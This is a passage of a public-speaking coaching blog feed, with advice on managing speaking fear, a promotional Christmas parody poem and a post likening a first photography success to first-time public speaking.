  • And you can probably think of others?

Public speaking has nothing to do with self-worth.  You are more than your speech and your ability to speak has nothing to do with who you are as a human being.  The good news is that managing the nerves and speaking with confidence and sincerity is a skill that you can learn.

Try making a list of all your excuses.  Once we know what our fears are, we’re in position to confront them head on.  Interrogate them.  Deconstruct them.  Render them powerless and clear our head of negative thoughts.  Think about  a friend or a child presenting you with these excuses.  What would you say to them?  Would it have something to do with self-belief, visualising successful outcomes or some other positive advice?

2.  Don’t expect perfection from yourself

Perfectionism is the curse of the speaker.  By striving for perfection, you set yourself up to fail.  Moreover, none of us is perfect and we all make mistakes, so as a perfectionist, failure lurks around every corner.

Be clear in your own mind that the audience is unlikely to know if you make a mistake unless you tell them.  Speakers often reprimand themselves for forgetting a chunk of their speech, but the audience does not know what you had planned to say and, therefore, won’t miss it.

Instead of trying to be perfect, do yourself a kindness and give yourself permission to be less than perfect, make speaking fear your friend.  Set yourself challenging, yet achievable, standards and give yourself a pat on the back when you’ve spoken.  Focus on what you did well, savour the glory and note ways in which you can be even better next time.  It’s important to remember that great speeches do not happen overnight. Rather, they are an iterative process of crafting and honing content, practising delivery and seeking feedback.

Think like a sportsman, carry a post-it note with you to remind you … “Connection, not perfection!”

3.  Persuade your brain to work with you

Speaking fear happens when we are really nervous, removing our ability to think quickly and clearly, to the extent that we may actually dry up.  In the words of the judge, George Jessel:

“The human brain starts working the moment you are born
and never stops until you stand up to speak in public”

When we are speaking in public, however, we need our brain to be working with us, in the moment, thinking about what we are saying, responding to the needs and reactions of our audience.  The 2017 Toastmasters World Champion of Public Speaking Manoj Vasudevan made precisely this point about delivering his winning speech.  He said that as he took to the stage, he could see that the audience looked tired and ready to go home.  Reading the low energy level, he toned down his delivery to ensure he did not come across as overly abrasive.  He had to make a judgment call, as he spoke, a decision that would not have been possible if his brain had been frozen by speaking fear.

According to psychiatrist Steve Peters who wrote The Chimp Paradox, we can learn to manage stress positively.  He talks about the Human part of our brain that works with logic and reason and the Chimp that makes snap judgments based on emotions and gut instinct.  Furthermore, they can work independently or together.  In public speaking, we need them to work together or we are overcome by speaking fear.

As public speakers who are stressed or nervous, our Chimp will always react first and, with the aim of keeping us safe, it will go into fight, flight or freeze mode.  This is normal, but it is not what you need for quick thinking and a strong performance.

One solution is to programme your brain with positive speaking associations and help make friends with your speaking fear.  As a result, you reinforce a sense of safety that does not need the intervention of the Chimp.  What does this mean in practice?  In any public-speaking environment, arrive early and familiarise yourself with the speaking area so that you feel comfortable.  Introduce yourself to members of the audience, so you see friendly faces from the stage.  Register the applause and give yourself a pat on the back for a speech well delivered.  Once you are more comfortable and your Chimp is no longer in control, your ability to reason and think on your feet will grow, while your Chimp will help bring energy and enthusiasm to your speech.

4.  Expect speaking fear and make it work for you

As Mark Twain said, we all get nervous when we speak.  But what is nervousness?  It is energy; it is what we experience when the adrenaline is flowing.  And adrenaline is our friend, giving us energy and presence on stage.  It helps us demonstrate our enthusiasm and passion for our subject, it helps us engage with our audience and generate a real sense of fun and excitement.

Before the adrenaline kicks in, we need to be well prepared and focused on what will go right, not what could go wrong.  Give yourself the pre-match pep talk – I’m ready, this is going to be fun, etc.  And remember that you have been invited to speak because you are seen to have the necessary credentials.

Once the adrenaline surges, we need to make it help us.  Some people find it helpful to move, run on the spot, jump up and down.  Breathe slowly and deeply.  Take to the stage and pause.  Take a deep breath and start to connect with your audience with your attention-grabbing or thought-provoking opening.  After your speech, enjoy the surge of wellbeing you get from your success. Speaking fear is now your friend

5.  Focus on connection – channel your speaking fear

Speaking fear - connection not perfection

Don’t overthink audience reactions because there will always be someone on the phone, yawning or looking distracted.  This is not personal and there is nothing you can do about it.  Don’t let it paralyse you.  Instead, focus on the majority of people in your audience who are with you, who are alert and attentive, the people who are smiling, nodding and appreciating what you have to say.  Connect with these interested people by sharing relevant stories and ideas in a way that is meaningful to them and you will feel happier and more relaxed on stage.

Reprogramming your mindset won’t happen overnight, but continuous speaking practice and a permanent (post-it) ‘note to self’ about connection (not perfection), your new friends in the audience will set you on the road to more enjoyable speaking experiences.

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]]> ‘Twas the night before conference https://www.nowyouretalking.co.uk/2017/12/15/twas-the-night-before-conference/ Fri, 15 Dec 2017 18:50:02 +0000 https://www.nowyouretalking.co.uk/?p=398 ‘Twas the night before conference when all you could hear Was the sound of hearts pounding with nerves and great fear. The deadline was looming, the paper not writ, Nor even the hint of a relevant script. The content a…

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]]> ‘Twas the night before conference when all you could hear
Was the sound of hearts pounding with nerves and great fear.
The deadline was looming, the paper not writ,
Nor even the hint of a relevant script.
The content a muddle was oh so confusing
The structure, unordered, was simply bemusing.
The message uncertain and very unclear
Oh please, inspiration, why won’t you appear?
Then all of a sudden, the ‘phone gave a ping
A message had come in from Now You’re Talking.
This coach for your speech had solutions aplenty
To write something great for the glam cognoscenti.
Together they grafted and crafted the content,
That was right for the audience at this event.
They practised delivery in its entirety:
With strong body language and vocal variety.
Some wonderful phrases enriched the confection,
While powerful stories wove a connection.
Devices rhetorical helped get it right,
A sprinkling of humour made the audience unite.
The speaker stood tall and gave satisfaction:
With clear, concise message and a strong call to action.
The audience arose for a standing ovation,
With thunderous applause for the speaker’s oration.
Season’s greetings, Presenter, and be of good cheer,
Now You’re Talking will guide your performance next year.

Speech marks

 

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]]> The first time https://www.nowyouretalking.co.uk/2017/11/03/the-first-time/ Fri, 03 Nov 2017 13:46:32 +0000 https://www.nowyouretalking.co.uk/?p=289 This wasn’t the first photo I ever took, but it was the first photo I took after completing my first photography course.  Those frozen water droplets were deliberate.  I was so thrilled and excited, I even had the photo printed…

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]]> Fountain with frozen water

This wasn’t the first photo I ever took, but it was the first photo I took after completing my first photography course.  Those frozen water droplets were deliberate.  I was so thrilled and excited, I even had the photo printed onto canvass and, to this day, it hangs on my wall; never failing to make me smile.  I felt a mix of disbelief and the thrill of achievement.  Shallow depth of field, blurred background, water frozen in the moment.  For the first time in my life, I was in control of the camera, rather than the camera being in control of me.

Remember the first time you achieved something you really wanted to achieve.  It might have been taking a photo, diving into a swimming pool, cooking a cake, scoring a goal, running a 5K race, buying your first smartphone, or any number of other achievements.  Remember how you felt.

Exhilarated?  Thrilled?  Really pleased with yourself?  It may not have been perfect, this first attempt, and you may have had some thoughts about how to do it better next time.  But, overwhelmingly, there is a gargantuan sense of achievement, success, a feeling that you want to do it again and again and again.

It is those amazing feelings that we need to capture and trigger repeatedly whenever we take on a new challenge, such as public speaking.

Now think about the first time you spoke in public.  It may have been at work or perhaps a special occasion, a celebration?  It is supposed to be one of the activities we fear most.  What happens?  Shaking legs?  Shallow breathing?  Pounding heart?  Sweaty palms?

Over and above the symptoms of fear, though, some of your normal behaviours will almost certainly have kicked in too.  Things like ingrained mannerisms, pauses, gestures, smiles, vocal intonation, facial expressions.  I’m sure there are ways you could have done that speech better, just as you could improve on any other activity when you did it for the first time, but there are also innate or intuitive speaking skills you already possess.

There might have been a few too many ‘ers’ and ‘ums’, an opening of wasteful platitudes, a structure that could have been tighter and better signposted, a reluctance to make eye contact, a nervous posture, a tendency to talk at your audience, rather than engage and connect with them.

If you have not yet spoken in public, and you’re afraid, conjure up one of your other experiences of doing something successfully for the first time and remember how good it felt.  Unleash that positive memory.

Having faced the fear and felt the thrill of achievement, it is now time to work on improving those skills.  How do you put together content that is carefully crafted, not just thrown together?  This is when you need to understand your audience and focus your message, content, how you say it, structure, call to action, etc on their needs.

How do you work on your delivery to ensure it is dynamic, yet engaging, enriched with vocal variety and reinforcing body language?  How do you connect with your audience?  How do you use the stage, meaningfully and with purpose?

Speaking in public is likely to come to us all, eventually – at work, in meetings, at a wedding or other special occasion and so many other times.  Whether you are taking your first step into the world of public speaking for work or for personal reasons or refining your speaking skills, don’t struggle alone.  Get a coach, join a speaking club like Toastmasters International, work with your friends, family or colleagues.  So long as you are willing to make the effort, public speaking is a skill that can be learnt and polished.  Don’t forget to capture a good first-time feeling and enjoy your journey.

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